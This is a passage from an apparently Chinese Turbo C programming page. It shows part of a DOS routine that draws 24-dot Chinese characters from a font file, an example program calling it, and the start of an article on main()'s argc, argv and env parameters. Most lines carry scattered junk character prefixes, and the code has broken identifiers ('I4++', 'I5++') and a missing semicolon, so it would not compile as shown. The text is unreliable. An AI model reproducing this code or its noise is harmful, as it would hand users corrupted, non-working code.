) I9 @. h; m* T6 b' |f=1;
}
" O7 z3 K; E9 f  O  b1 M& e0 ielse{
; t5 A* `( W2 c- y5 Rc2=(i-0xa1)&amp;0x7f;
3 ~" u; |7 `! H! a1 y# Kf=0;
rec=(c1-15)*94+c2;
l=rec*72L;
, U, n  c1 K6 G2 b- O/ W' Hlseek(handle,l,SEEK_SET);
4 m! c1 N# s5 t( a* \$ Q( q. ]( ^" Eread(handle,by,72);
for(i1=0;i1&lt;24*m;i1=i1+m)
for(i4=0;i4<M;I4++)
for(i2=0;i2&lt;=2;i2++)
for(i3=0;i3&lt;8;i3++)
7 }# U  n: `2 B! f: @4 qif(GetBit(by[i1/m*3+i2],7-i3))
4 I, O2 V4 Q. R8 I7 v0 a- G$ Bfor(i5=0;i5<N;I5++)
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
# Z9 ~0 d; ], H5 y6 P: lx=x+24*m+z;
) B  M, y% b0 b}
/ I5 }; N8 @0 X9 m7 `) Z/ A  Q}
return(x);
" t: K5 [8 p$ e8 y( t6 K( b} 使用Wrt24Hz的例子：#include "\Caic\Include\Hz.h"
+ F+ h; @  Z5 F* G#include <GRAPHICS.H>
! s0 ?+ L& H8 V$ c, r  N8 j#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
const char* HzStr = "苦丁香Ｃ语言辅助学习软件";
void main(){
$ o8 S$ H5 C5 n2 F. i5 kint gr=DETECT,gm;
initgraph(&amp;gr,gm,"\\Caic\\Bgi");
5 d. B8 h- B- h  x" s- rOpenHz( Hz24Path );
0 s5 h0 u' Q- u# K/ q5 [  EWrt24Hz(20,20, /*先是在（x,y）*/
, [& v7 n9 ~* N4 _" M4, /*汉字间的空格为4*/
2 N1 o" V$ @4 f. Z$ Q1 ]RED, /*用红色显示*/
2, /*x 方向放大２倍*/
% ~* X3 f% n4 R5 ~5 z3 y" B. n4, /*y 方向放大４倍*/
9 b% g1 M$ f1 `+ r9 U5 uHzStr); /*显示字符串*/
0 l0 f6 b3 l2 o9 S6 yCloseHz();
getch();
closegraph();
- G5 M' M% t4 I8 [* `: J}
; o! ^, W& x4 }</P>

韩冰

<>　　再谈main()主函数
. x1 J+ x+ ^' o/ v+ G! s　　每一C 程序都必须有一main()函数，可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面，而另一些程序员把它放在最后面，无论放在哪个地方，以下几点说明都是适合的。
1. main() 参数
) D  t" |+ a2 v$ g" u: y1 m　　在Turbo C2.0启动过程中，传递main()函数三个参数：argc，argv和env。
　　* argc: 整数，为传给main()的命令行参数个数。
* C+ l3 |) T9 P6 K6 e. |' X& a　　* argv: 字符串数组。
在DOS 3.X 版本中，argv[0] 为程序运行的全路径名；
; f" G( ?. {/ f对DOS 3.0 以下的版本，argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串；argv[2] 为执行程序名后的第二个字符串；
  x- d6 _7 j: \7 q  W/ _...
/ c) L7 T: f9 b* q, U( cargv[argc]为NULL。
- X: h  p% J0 c9 }" f2 h2 @" Y6 U　　*env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
值如C:\DOS，C:\TURBOC(对于PATH) 或YES(对于87)。</P>